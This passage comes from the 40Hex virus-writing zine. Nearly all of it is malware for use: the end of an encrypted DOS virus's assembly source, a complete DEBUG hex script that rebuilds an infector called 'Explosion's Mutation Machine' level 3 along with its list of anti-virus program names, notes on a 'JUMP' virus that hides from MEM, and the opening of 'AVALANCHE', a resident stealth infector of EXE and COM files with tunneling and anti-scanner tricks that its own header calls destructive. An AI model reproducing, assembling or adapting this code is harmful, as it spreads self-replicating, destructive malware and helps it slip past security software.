ax,1234h mov cx,(LENVIR-1)/2+1 zp2: xor [si],ax ecaax1: add ax,1234h inc si xor [si],ax ecaax2: add ax,1234h inc si loop zp2 pop cx retn res24: mov al,03h iret handle dw ? header strc <> off24 dw ? seg24 dw ? ftime dw ? fdate dw ? lenlo dw ? lenhi dw ? chandle dw ? fname db LENFNB dup(?) retnaddr dw ? sodec dw ? hend dw ? ptei dw ? ei db 6*25 dup(?) eei label near rel dw ? gba dw ? eflag db ? ;input flags (0-set DS,1-set SP,2-gen. intro) hip dw ? hbuf db LENHBUF dup(?) end_res label near virus_segment ends end stsub --------------------------- N Level3.exe E 0100 4D 5A 04 01 0A 00 00 00 20 00 3D 00 FF FF 00 00 E 0110 80 00 00 00 89 0E 09 00 3E 00 00 00 01 00 FB 30 E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0380 B8 00 4C CD 21 00 00 00 00 00 00 00 00 00 00 00 E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F E 03A0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 03B0 00 00 00 01 00 00 00 00 00 10 00 1E 00 00 02 2A E 03C0 20 45 4D 4D 20 31 2E 30 20 2A 56 50 53 51 52 B9 E 03D0 00 00 BB 00 00 BA 5A 01 B8 35 4E 96 92 85 C0 74 E 03E0 02 F7 E3 E3 05 91 F7 E6 03 C1 96 F7 E3 03 D6 40 E 03F0 83 D2 00 2E A3 43 00 2E 89 16 40 00 8B C2 59 33 E 0400 D2 E3 04 F7 F1 EB 01 92 59 5B 58 5E C3 00 00 00 E 0410 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00 E 0420 00 00 00 00 04 00 00 00 08 00 00 00 0C 00 00 00 E 0430 00 00 00 00 00 00 50 51 52 56 33 C9 AC 98 03 C8 E 0440 3C FF AD 75 F7 41 5E 8B D1 E8 7E FF AC 98 2B C8 E 0450 AD 3B D1 72 F7 96 5A 59 58 FF E6 50 53 8B F2 D1 E 0460 E6 D1 E6 BB 7D 00 03 F3 B5 03 80 3E A5 00 00 75 E 0470 11 83 C6 03 AC 98 96 03 F3 FE CD F6 C2 04 75 02 E 0480 FE CD 5B 58 C3 51 56 BA 08 00 E8 3D FF E8 CB FF E 0490 F6 04 04 75 F2 5E 59 C3 50 32 E4 EB 03 50 B4 04 E 04A0 51 56 55 BA 08 00 E8 21 FF 8B EA 33 D2 8A CA E8 E 04B0 A9 FF AC 84 C4 75 0E 24 03 3C 03 74 04 3A C5 75 E 04C0 04 41 4D 78 12 42 83 FA 08 72 E4 0A C9 75 03 F9 E 04D0 EB 06 83 E2 07 EB D8 F8 5D 5E 59 58 C3 51 56 E8 E 04E0 79 FF 46 80 FD 03 75 04 89 04 EB 08 80 FD 01 74 E 04F0 01 46 88 04 5E 59 C3 51 56 E8 5F FF 46 80 FD 03 E 0500 75 03 AD EB 07 80 FD 01 74 01 46 AC 5E 59 C3 0A E 0510 06 A5 00 52 B1 03 D2 E2 0A E2 5A C3 E8 66 FF 52 E 0520 A0 A5 00 B1 03 D2 E0 0C B0 0A C2 AA 33 D2 E8 99 E 0530 FE 92 5A E8 A7 FF E8 22 FF 08 2C 80 FD 03 75 04 E 0540 AB EB 02 90 AA C3 E8 4F FF 72 FA E8 A9 FF 50 B8 E 0550 8A C0 0A 06 A5 00 0A E2 8B DA E8 28 FF 3B DA 74 E 0560 F9 E8 AF FF AB 58 E8 74 FF E8 EF FE 08 2C C3 2D E 0570 8C 01 2D B6 01 03 60 02 03 64 02 01 44 02 01 13 E 0580 02 01 FB 01 FF BE DF 01 E9 AB FE C6 06 A5 00 01 E 0590 F6 06 A0 00 01 75 0B E8 FE FE 72 06 B8 8E D8 0A E 05A0 E2 AB C3 C6 06 A5 00 01 BA 20 00 E8 1C FE B8 8C E 05B0 C0 0A E2 80 E4 F8 E8 CC FE 0A E2 AB E8 9C FE 80 E 05C0 E4 18 74 04 80 24 FC C3 A0 9D 00 88 04 A1 9E 00 E 05D0 89 44 01 C3 C6 06 A5 00 01 E8 BC FE 72 11 B8 8E E 05E0 C0 0A E2 AB E8 10 FF 80 0E 9D 00 03 A3 9E 00 C3 E 05F0 B0 32 EB 02 B0 2A B4 C0 E8 8A FE 0A E2 E8 5B FE E 0600 08 2C C7 06 8C 02 32 C0 EB 77 A0 A5 00 00 06 8C E 0610 02 E8 E3 FE 8B 2E A2 00 55 9D FB FC 0A C3 9C 5D E 0620 89 2E A2 00 E9 B6 FE E8 E0 FF 80 0E A1 00 01 C3 E 0630 2D F7 02 2D DE 02 0A C4 02 FF AC B4 C3 A3 8C 02 E 0640 AC A2 D6 02 AC B4 C0 A3 E8 02 AD A3 FE 02 BE A0 E 0650 02 E9 E2 FD 33 D2 E8 02 FE AC 24 03 3C 03 74 04 E 0660 3A C5 75 23 52 B0 0C 0A 06 A5 00 AA EB 29 E8 27 E 0670 FE 72 3C E8 81 FE 93 B8 0A C0 0A E2 E8 1E FE 72 E 0680 2E E8 8B FE AB EB A0 E8 13 FE 72 23 52 B8 80 C8 E 0690 0A 06 A5 00 0A E2 AB 33 D2 E8 2E FD 8B DA 5A E8 E 06A0 85 FF 93 80 3E A5 00 00 74 04 AB EB 02 90 AA C3 E 06B0 0A 0C 0A 80 C8 BE 20 03 EB 80 22 24 22 80 E0 BE E 06C0 2A 03 EB F4 32 34 32 80 F0 BE 34 03 EB EA 84 A8 E 06D0 84 F6 C0 BE 3E 03 C6 06 0F 01 00 E8 5C FF C6 06 E 06E0 0F 01 04 C3 3A 3C 3A 80 F8 BE 54 03 EB E8 02 04 E 06F0 02 80 C0 BE 5E 03 EB D4 2A 2C 2A 80 E8 BE 68 03 E 0700 EB CA 12 14 12 80 D0 BE 72 03 F6 06 A1 00 01 75 E 0710 BB C3 1A 1C 1A 80 D8 BE 82 03 EB EE 01 B7 03 01 E 0720 A5 03 FF AD A3 8C 02 AD A3 AB 03 AC A2 C2 03 BE E 0730 8C 03 E9 01 FD E8 65 FD 72 D7 B8 FE C0 0A 06 A5 E 0740 00 0A E2 AB E9 C3 FE C6 06 A5 00 01 E8 4E FD 72 E 0750 C0 B0 40 0A C2 AA E9 B1 FE FE C0 FE C0 40 BE C9 E 0760 03 EB C0 FE C8 FE C8 48 BE D3 03 EB B6 F6 D8 F6 E 0770 D8 BE DD 03 57 E8 12 00 58 3B F8 76 05 80 0E A1 E 0780 00 01 C3 F6 D0 F6 D0 BE F3 03 C7 06 A0 03 8F 03 E 0790 E8 90 FF C7 06 A0 03 8C 03 C3 01 17 04 01 3F 04 E 07A0 FF BE 0A 04 E9 8F FC E8 F3 FC 72 ED E8 48 FD 93 E 07B0 B8 86 C0 0A E2 8B EA E8 E3 FC 3B EA 74 DB 55 E8 E 07C0 4D FD AB E8 31 FD 93 E8 13 FD 5A 93 E9 0E FD C6 E 07D0 06 A5 00 01 E8 C6 FC 72 C0 80 3E 7D 00 03 75 B9 E 07E0 E8 14 FD 93 B0 90 0A C2 52 33 D2 AA EB D5 B0 D0 E 07F0 F6 06 81 00 01 74 0E BA 02 00 E8 CD FB D0 E2 0A E 0800 C2 8A 0E 82 00 A3 8C 02 E8 92 FC 72 27 80 26 A1 E 0810 00 FE E9 28 FF B4 E0 EB D5 B4 E8 EB D1 B4 F8 EB E 0820 CD B4 C0 EB C9 B4 C8 EB C5 B4 D0 F6 06 A1 00 01 E 0830 74 02 EB BA C3 B4 D8 EB F2 0F C5 04 03 EC 04 01 E 0840 07 05 FF 83 3E 0F 00 00 74 EA BE A9 04 C6 06 A5 E 0850 00 01 E9 E1 FB E8 2D FC B0 50 0A C2 AA E8 FB FB E 0860 AC 91 E8 92 FC 83 2E 0F 00 03 83 2E 8E 00 02 8B E 0870 36 0F 00 88 8C 00 00 89 84 01 00 C3 BA 20 00 E8 E 0880 48 FB 92 0C 06 24 FE AA 32 C9 3C 06 75 D7 A1 9E E 0890 00 8A 0E 9D 00 EB CE B0 9C EB EC 0F 24 05 02 4F E 08A0 05 01 5D 05 03 69 05 FF 83 3E 0F 00 0F 74 85 BE E 08B0 0B 05 EB 99 E8 CE FB B0 58 0A C2 AA E8 09 00 E8 E 08C0 99 FB 88 0C E8 16 FC C3 8B 36 0F 00 8A 8C 00 00 E 08D0 8B 84 01 00 83 06 0F 00 03 83 06 8E 00 02 C3 B0 E 08E0 07 AA E8 E3 FF 88 0E 9D 00 A3 9E 00 C3 F6 06 A0 E 08F0 00 01 75 F8 B0 1F AA EB CF F6 06 A0 00 01 75 EC E 0900 B8 0E 1F AB 80 0E A0 00 01 C3 50 51 52 8B CA E3 E 0910 09 33 D2 E8 B4 FA 92 AA E2 F7 5A 59 58 C3 E8 A9 E 0920 FA 03 F2 AC C3 77 73 72 76 74 7F 7D 7C 7E EB 75 E 0930 71 7B 79 70 7A 78 E3 E2 E1 E0 18 BD 05 05 F7 05 E 0940 01 10 06 03 1F 06 FF BE AA 05 E9 E9 FA F6 06 A1 E 0950 00 01 74 32 BE 95 05 BA 11 00 E8 C1 FF AA A2 DB E 0960 05 8B 0E 82 00 8B 2E A2 00 55 9D EB 09 33 D2 E8 E 0970 58 FA 92 AA EB 0C BA 14 00 E8 4E FA 8A C2 AA E8 E 0980 88 FF 89 0E 82 00 C3 80 3E 81 00 03 75 F8 BE A6 E 0990 05 BA 02 00 F6 06 A1 00 01 74 BF BA 04 00 EB BA E 09A0 B0 E9 AA BA 14 00 E8 21 FA 8B C2 AB E9 5B FF F6 E 09B0 06 7E 11 04 74 D0 B0 E8 AA A1 DC 10 48 48 2B C7 E 09C0 AB C3 FB FA FD FC BE 32 06 BA 04 00 E8 4F FF AA E 09D0 C3 04 54 06 04 61 06 04 6E 06 01 7B 06 FF BE 41 E 09E0 06 E9 52 FA 8B 2E 96 00 B4 84 80 3E 95 00 03 74 E 09F0 1E 8B 2E 9A 00 B4 85 80 3E 99 00 03 74 11 8B 2E E 0A00 8A 00 B4 87 80 3E 89 00 03 74 04 33 ED B4 06 C3 E 0A10 F6 06 A0 00 01 75 04 C6 05 2E 47 C3 E8 79 FA 72 E 0A20 3F 50 E8 D2 FA 0A C0 58 74 36 E8 E6 FA 0A 06 A5 E 0A30 00 E8 DC FF AB 8B 36 E2 10 89 04 E8 B9 FA 89 44 E 0A40 04 BA 21 00 2A 16 A5 00 E8 7F F9 89 54 02 83 06 E 0A50 E2 10 06 A1 DE 10 03 C2 2B C5 AB 80 26 A1 00 FE E 0A60 C3 06 08 08 02 02 00 F7 06 00 FB 06 00 FF 06 00 E 0A70 03 07 00 25 07 FF 81 3E E2 10 7A 11 73 E2 E8 5D E 0A80 FF BE D6 06 E9 AF F9 B0 30 EB 91 B0 00 EB 8D B0 E 0A90 28 EB 89 B0 D0 BA 04 00 E8 2F F9 0B D2 74 10 F6 E 0AA0 06 81 00 01 74 09 80 3E 82 00 00 74 02 0C 02 BA E 0AB0 01 00 E9 78 FF 80 CC 08 EB D9 05 3A 07 01 68 07 E 0AC0 FF E8 1A FF BE 2A 07 E9 6C F9 E8 B8 F9 B0 8A E8 E 0AD0 3D FA 52 E8 3A FF AB 8B D7 81 EA 82 11 E8 EA F8 E 0AE0 A1 7A 11 03 C2 2B C5 AB 92 5A E8 6E F9 08 2C BE E 0AF0 81 11 03 F0 AD E9 E5 F9 E8 9D F9 72 17 B0 88 E8 E 0B00 0D FA E8 0B FF AB BA 0E 00 E8 BE F8 A1 7C 11 03 E 0B10 C2 2B C5 AB C3 0D B7 05 20 E6 06 11 31 07 46 F5 E 0B20 01 01 36 06 10 B3 04 10 18 05 04 85 04 04 89 04 E 0B30 02 8D 04 02 91 04 02 95 04 02 99 04 02 A5 04 07 E 0B40 25 03 07 2F 03 04 39 03 04 43 03 09 63 03 09 6D E 0B50 03 02 77 03 02 87 03 04 59 03 04 CE 03 04 D8 03 E 0B60 04 11 04 02 E1 03 02 F7 03 FF FC B9 0A 00 BF 7D E 0B70 00 33 C0 AA 83 C7 03 E2 FA 93 A0 7E 11 24 01 A2 E 0B80 A0 00 B0 04 F6 06 7E 11 02 74 02 0C 03 08 06 8D E 0B90 00 C7 06 0F 00 0F 00 C7 06 E2 10 E4 10 B9 05 00 E 0BA0 BE D1 06 BF D6 06 AC 98 92 E8 1E F8 92 03 D8 AA E 0BB0 47 47 E2 F2 0B DB 74 E5 BF 81 11 B8 FF FF 50 F6 E 0BC0 06 7E 11 04 74 1E 58 BA 63 00 E8 FD F7 42 52 52 E 0BD0 E8 F7 F7 E8 34 FD 89 3E DC 10 B0 C3 AA 58 2B C2 E 0BE0 92 E8 26 FD 8B C7 2D 81 11 03 06 7A 11 A3 7F 11 E 0BF0 BA 0C 01 58 2B D0 E8 D1 F7 03 D0 81 C2 90 01 89 E 0C00 16 E0 10 81 06 E0 10 81 11 03 16 7A 11 89 16 DE E 0C10 10 C7 06 9E 08 85 07 C6 06 A5 08 00 57 BA 03 00 E 0C20 E8 A7 F7 0A D2 74 02 B2 01 88 16 A5 00 BE 85 07 E 0C30 E8 03 F8 58 EB 00 57 83 C7 16 3B 3E E0 10 5F 72 E 0C40 DB C7 06 9E 08 8E 07 C6 06 A5 08 18 EB CE 3B 3E E 0C50 E0 10 72 C8 97 75 C5 97 8B DF B8 B7 0F 2B C7 A3 E 0C60 38 09 BE 21 09 B9 21 00 F3 A4 8B 36 E2 10 81 FE E 0C70 E4 10 76 3C 83 EE 06 8A 04 8A D0 80 E2 FC 80 FA E 0C80 00 75 02 0C 28 80 FA 28 75 02 24 03 B4 8F 81 24 E 0C90 FC 38 81 3C D0 08 75 03 80 E4 C7 A3 1A 09 8B 54 E 0CA0 02 89 16 1C 09 8B 4C 04 EB 00 31 8F 34 12 EB BE E 0CB0 C3 FB 0E 1F BE 34 12 B8 34 12 B9 1D 08 31 04 EB E 0CC0 09 05 34 12 46 E2 F6 E9 00 00 05 34 12 46 31 04 E 0CD0 EB EF B9 3A 10 33 D2 E8 16 00 B4 40 8B 1E 74 10 E 0CE0 9C 9A 00 00 00 00 72 02 3B C1 9C E8 02 00 9D C3 E 0CF0 51 8B F2 B8 34 12 B9 1D 08 31 04 05 34 12 46 31 E 0D00 04 05 34 12 46 E2 F2 59 C3 B0 03 CF 52 1E 0E 1F E 0D10 B8 24 35 E8 65 00 8C 06 90 10 89 1E 8E 10 B8 24 E 0D20 25 BA 71 10 E8 54 00 1F 5A C3 B8 24 25 2E C5 16 E 0D30 8E 10 E8 46 00 C3 52 26 8B 47 02 40 33 D2 2E F7 E 0D40 36 2B 00 26 8B 07 24 1F 3A C2 F9 74 09 26 8B 07 E 0D50 25 E0 FF 0A C2 F8 5A C3 B4 40 EB 02 B4 3F E8 15 E 0D60 00 72 02 3B C1 C3 33 C9 8B D1 B8 00 42 EB 07 33 E 0D70 C9 8B D1 B8 02 42 2E 8B 1E 74 10 9C FA 2E FF 1E E 0D80 4A 10 C3 B8 00 57 E8 ED FF BB 92 10 89 0F 89 57 E 0D90 02 E8 A2 FF 73 01 C3 33 D2 E8 2E F6 89 16 28 09 E 0DA0 89 16 5C 10 33 D2 E8 21 F6 89 16 3B 09 89 16 64 E 0DB0 10 33 D2 E8 14 F6 89 16 32 09 89 16 6A 10 E8 A5 E 0DC0 FF B9 18 00 BA 76 10 E8 92 FF 72 CA 8B F2 BF 11 E 0DD0 00 F3 A4 52 E8 98 FF A3 96 10 89 16 98 10 8B F0 E 0DE0 8B FA 5B 81 3F 5A 4D 74 18 81 3F 4D 5A 74 12 C6 E 0DF0 06 23 00 00 3D 79 EC 77 9D C7 06 1B 00 00 00 EB E 0E00 2B C6 06 23 00 01 8B 47 04 F7 26 2D 00 2B C6 1B E 0E10 D7 72 B7 8B C6 8B D7 05 06 13 83 D2 00 F7 36 2D E 0E20 00 0B D2 74 01 40 89 47 04 89 57 02 83 E6 F0 83 E 0E30 C6 10 83 D7 00 8B D6 8B CF 53 E8 2D FF 5B 80 3E E 0E40 23 00 00 75 17 C6 07 E9 05 00 01 A3 7C 11 05 3A E 0E50 10 A3 7A 11 C6 06 7E 11 01 90 EB 51 8B 47 08 F7 E 0E60 26 29 00 2B F0 1B FA 8B C6 8B D7 F7 36 29 00 89 E 0E70 47 16 A3 11 00 8B 47 0E F7 26 29 00 8B 4F 10 03 E 0E80 C1 83 D2 00 2B C6 1B D7 72 0D 2D 80 00 83 DA 00 E 0E90 72 5A 81 47 0E 30 01 C7 06 7A 11 3A 10 C7 06 7C E 0EA0 11 00 00 89 0E 8E 00 C6 06 7E 11 02 90 A1 7C 11 E 0EB0 A3 25 09 A3 8A 0E BA 06 00 E8 0E F5 0B D2 74 05 E 0EC0 80 0E 7E 11 04 E8 A2 FC E8 FF 04 72 1F A1 7F 11 E 0ED0 80 3E 23 00 00 75 08 2D 03 01 A3 77 10 EB 03 A3 E 0EE0 8A 10 8B CF BA 81 11 2B CA E8 6C FE 72 2B E8 75 E 0EF0 FE B9 18 00 BA 76 10 E8 5E FE 72 1D 81 06 96 10 E 0F00 06 13 83 16 98 10 00 BA 19 00 E8 BD F4 0B D2 74 E 0F10 08 BB 92 10 E8 1F FE 89 07 8B 16 96 10 8B 0E 98 E 0F20 10 E8 46 FE 33 C9 E8 2F FE B8 01 57 8B 0E 92 10 E 0F30 8B 16 94 10 E8 3F FE C3 26 81 2F 06 13 26 83 5F E 0F40 02 00 73 0A 26 81 07 06 13 26 83 57 02 00 C3 03 E 0F50 43 4F 4D 03 45 58 45 04 53 43 41 4E 07 56 53 48 E 0F60 49 45 4C 44 05 43 4C 45 41 4E 08 46 49 4E 44 56 E 0F70 49 52 55 05 47 55 41 52 44 08 56 49 56 45 52 49 E 0F80 46 59 02 54 42 02 2D 56 07 56 49 52 53 54 4F 50 E 0F90 03 4E 4F 44 04 48 49 45 57 05 50 41 53 43 41 07 E 0FA0 4E 45 54 45 4E 56 49 06 46 2D 50 52 4F 54 06 43 E 0FB0 48 4B 44 53 4B 53 51 56 57 1E 06 50 8B F2 8B DE E 0FC0 33 FF B9 40 00 AC 3C 5C 74 08 3C 2F 74 04 3C 3A E 0FD0 75 02 8B DE 3C 2E 75 02 8B FE 0A C0 74 04 E2 E5 E 0FE0 EB 45 3B FB 76 41 8B F7 BF BF 0B 0E 07 E8 3A 00 E 0FF0 74 05 E8 35 00 75 30 B1 0F 8B F3 BF C7 0B 51 E8 E 1000 28 00 59 74 0B E2 F7 F8 58 07 1F 5F 5E 59 5B C3 E 1010 83 F9 02 77 0D 58 50 80 FC 4B 75 06 2E C6 06 0A E 1020 0D 6C 83 F9 01 74 E0 F9 EB DE 56 26 8A 0D 47 8B E 1030 C7 03 C1 50 AC 3C 61 72 06 3C 7A 77 02 2C 20 AE E 1040 E1 F2 5F 5E C3 50 53 51 56 57 55 1E 06 E8 75 01 E 1050 E8 B9 FC B8 00 43 E8 22 FD 2E 89 0E F7 0C B8 01 E 1060 43 33 C9 E8 15 FD 72 24 B8 02 3D E8 0D FD 72 13 E 1070 52 1E 0E 1F 0E 07 A3 74 10 E8 07 FD B4 3E E8 F5 E 1080 FC 1F 5A B8 01 43 B9 00 00 E8 EF FC E8 9B FC 07 E 1090 1F 5D 5F 5E 59 5B 58 C3 FB EB 00 80 FC 11 74 05 E 10A0 80 FC 12 75 2C 53 06 50 B4 2F E8 CE FC 58 E8 CA E 10B0 FC 3C FF 74 19 50 26 80 3F FF 75 03 83 C3 07 83 E 10C0 C3 17 E8 71 FC 58 73 06 83 C3 06 E8 6A FE 07 5B E 10D0 CF 80 FC 4E 74 05 80 FC 4F 75 2C 53 06 50 B4 2F E 10E0 E8 98 FC 58 E8 94 FC 72 11 50 83 C3 16 E8 46 FC E 10F0 58 73 06 83 C3 04 E8 3F FE F8 07 5B 50 55 8B EC E 1100 9F 88 66 08 5D 58 CF 80 FC 31 74 0B 80 FC 4C 75 E 1110 09 2E C6 06 0A 0D 00 E8 AB 00 FC 52 3D 00 4B 74 E 1120 47 3D 00 6C 75 07 F6 C2 12 8B D6 75 45 80 FC 3C E 1130 74 40 80 FC 5B 74 3B 80 FC 3E 75 25 2E 3B 1E 9A E 1140 10 75 1E 0B DB 74 1A 2E C7 06 9A 10 00 00 E8 2A E 1150 FC 72 0B 1E 0E 1F BA 9C 10 E8 E9 FE 1F F8 5A EB E 1160 9B 5A FA 2E FF 2E 4A 10 E8 4A FE 72 F4 E8 D5 FE E 1170 EB EF 2E 83 3E 9A 10 00 75 E7 E8 38 FE 72 E2 2E E 1180 89 16 FA 0D 5A 52 E8 F2 FB BA 00 00 72 D0 51 56 E 1190 57 06 8B F2 BF 9A 10 0E 07 AB B9 40 00 F3 A4 07 E 11A0 5F 5E 59 EB B8 54 42 4D 45 4D 58 58 58 54 42 43 E 11B0 48 4B 58 58 58 54 42 44 53 4B 58 58 58 54 42 46 E 11C0 49 4C 58 58 58 50 52 1E B4 FF 32 DB CD 13 B4 FE E 11D0 CD 13 B8 02 FA BA 45 59 B3 31 CD 16 0E 1F B4 52 E 11E0 CD 21 26 C4 5F 22 BE 0D 0E B9 04 00 51 83 C6 08 E 11F0 8D 7F 0A B9 04 00 56 F3 A7 5E 59 E0 EF 75 06 26 E 1200 80 0E 16 00 01 26 C4 1F 83 FB FF 75 D9 1F 5A 58 E 1210 C3 43 4F 4D 4D 41 4E 44 00 B8 00 00 B1 04 D3 E8 E 1220 8C CA 03 C2 50 B8 9A 0E 50 CB FC 0E 1F B8 0F 00 E 1230 2B 06 0F 00 49 F6 F1 D1 E0 03 E0 B1 19 A1 F5 0F E 1240 F6 F1 0A E4 75 1D B4 2A CD 21 80 FA 07 75 14 B4 E 1250 09 BA F7 0F CD 21 BA CC 03 EC 24 FD B2 C2 EE B4 E 1260 4C CD 21 E8 5F FF B4 62 CD 21 53 33 C0 8E D8 8E E 1270 1E FE 04 81 3E 81 0E 43 4F 74 3D 93 48 8E D8 03 E 1280 06 03 00 2D 44 01 8C CA 81 C2 04 01 3B C2 72 1B E 1290 8C CA 2E 03 16 1B 00 3B C2 72 10 8C D2 8B F4 46 E 12A0 B1 04 D3 EE 46 03 D6 3B C2 73 24 B4 48 BB FF FF E 12B0 CD 21 81 FB 45 01 73 03 E9 9A 00 B4 48 CD 21 48 E 12C0 8E D8 C7 06 01 00 00 00 03 06 03 00 2D 44 01 8A E 12D0 16 00 00 C6 06 00 00 4D 81 2E 03 00 45 01 A3 12 E 12E0 00 8E D8 88 16 00 00 40 A3 01 00 C7 06 03 00 44 E 12F0 01 1E 07 0E 1F FF 06 F5 0F BE 81 0E BF 08 00 A5 E 1300 A5 A5 A5 8E C0 33 F6 8B FE B9 3A 10 F3 A4 BE 42 E 1310 09 B9 3A 00 F3 A4 33 C0 26 A3 9A 10 8E D8 A1 6C E 1320 04 26 A3 43 00 A1 6E 04 26 A3 40 00 C6 06 FB 04 E 1330 EA C7 06 FC 04 08 0D 8C 06 FE 04 FA A1 84 00 26 E 1340 A3 4A 10 A1 86 00 26 A3 4C 10 C7 06 84 00 FB 04 E 1350 8C 1E 86 00 FB 5B 0E 1F 8E C3 BE 11 00 80 7C 12 E 1360 00 75 0D BF 00 01 89 7C 14 89 5C 16 A4 A5 EB 0C E 1370 8C C8 2B 04 01 44 16 03 44 0E 8E D0 8E DB 33 C0 E 1380 2E FF 2E 25 00 E2 04 0D 0A 57 65 6C 63 6F 6D 65 E 1390 20 74 6F 20 74 68 65 20 45 78 70 6C 6F 73 69 6F E 13A0 6E 27 73 20 4D 75 74 61 74 69 6F 6E 20 4D 61 63 E 13B0 68 69 6E 65 20 21 0D 0A 44 69 73 20 69 73 20 6C E 13C0 65 76 65 6C 20 33 2E 0D 0A 24 B9 3A 10 33 D2 E8 E 13D0 16 00 B4 40 8B 1E 74 10 9C 9A 00 00 00 00 72 02 E 13E0 3B C1 9C E8 02 00 9D C3 51 8B F2 B8 34 12 B9 1D E 13F0 08 31 04 05 34 12 46 31 04 05 34 12 46 E2 F2 59 E 1400 C3 B0 03 CF R CX 1304 W Q 40Hex Number 14 Volume 5 Issue 1 File 011 The following is a DEBUG script for my old JUMP virus, written sometime in the summer of '94 or so I think. I had gotten bored as hell, and couldn't think of much that hadn't been done with viruses, so I came up with this thing.... anyway, I didn't make it the typical "e 100 xx xx" type debug script, 'cause I wanted people to be able to see how it got its name. It can be reassembled the same as any debug script, just debug virus segment mov ds,ax or di,8 ; go to program name field mov ax,'CS' ; make virus invisible to MEM stosw ; by pretending it is xor ax,ax ; DOS system code stosw stosw stosw 40Hex Number 14 Volume 5 Issue 1 File 013 ;**************************************************************************** ;* Resident stealth infector 'AVALANCHE' * ;* written by Metal Junkie in 1994/95 * ;**************************************************************************** ; 100% memory stealth ; Int 21h Tunneling ; Retro functions ; EXE/COM - Infection ; and many other features. Enjoy it! ; Disclaimer: Warning! This source contains destructive code. Do not compile ; it! The author is not responsible for any damage caused by this code. ; And last but not least, greetings to Neurobasher,Stormbringer, the guys ; of VLAD (hi qark) and the Unforgiven Metal Militia. code segment para 'code' .8086 org 100h assume cs:code, ds:code, es:code, ss:code ; ;======== Initializing routines and decryption ============================= ; test options: EXEPERMIS equ 1 ; infect EXE Files COMPERMIS equ 1 ; infect COM files STEALTH equ 1 ; include stealth functions RETRO equ 1 ; anti scan start: ; SS ist always equal CS ! .386 kenn: mov ecx,(offset (virende-vircode+1)) ; Adios F-Prot ! kenn1: mov bx,(266+offset vircode) jmp patch db 0eah ; Adios TBAV ! entschl: xor byte ptr cs:[bx],0 inc bx patch: loop entschl .8086 ; ------ Start of encrypted body ---- vircode: call getip ; Only to fool simple scanners looking getip: pop ax ; for the classic pop bp mov bp,ax sub bp,(100h+(getip-start)); patch5: jmp short conti db 81h conti: jmp lab1 ;--- Constants --------------------------------------------------------- sprbef equ 3 ; 3 Bytes for a JUMP monat equ 01h ; Date of activation itsme equ "sh" ; Signature DOS_N equ 21h ; normal DOS Function 21 db " AVALANCHE/Germany '94...Metal Junkie greets Neurobasher" ;--- EXE-Header-Lokationen --- cs_pos equ 16h ; Position of Codesegment in EXE Header ss_pos equ 0eh ip_pos equ 14h ; IP ovl_no equ 1Ah hdl_pos equ 08h ; Size of Header sp_pos equ 10h ; SP min_par equ 0ah ; Min. amount of memory div512 equ 04h ; Filelength DIV 512 mod512 equ 02h ; MOD 512 segtab equ 06h ; chksum equ 12h ; ;--- Variables ---- cs_merk dw (0) ds_merk dw (0) ; store the original regs here es_merk dw (0) sp_merk dw 0fffeh ss_merk dw (0) min_mem dw 4096 ip_merk dw 0100h ; pointer to first instruction of host wirt dw (?) ; this is a far jump to the host combytes db 0C3h,0h,01h ; buffer for host bytes (COM) com_vek db 0e9h,0,0 ; jump vector (COM) ;--- org_filelng_lo dw (?) ; original length of host org_filelng_hi dw (?) mem_strat dw (?) ; buffer for allocation strategy umb_strat db (?) comflag db 1 ; 1=host is a COM-file generation dw 0 ;------- check activation circumstances ------------------------------------ lab1: cli mov [bp+ds_merk],ds ; store original segments here cld push cs ; setup registers pop ds mov ax,4bf0h ; Are we resident in memory ? xor di,di int DOS_N cmp di,itsme jne lab32 jmp restore_com 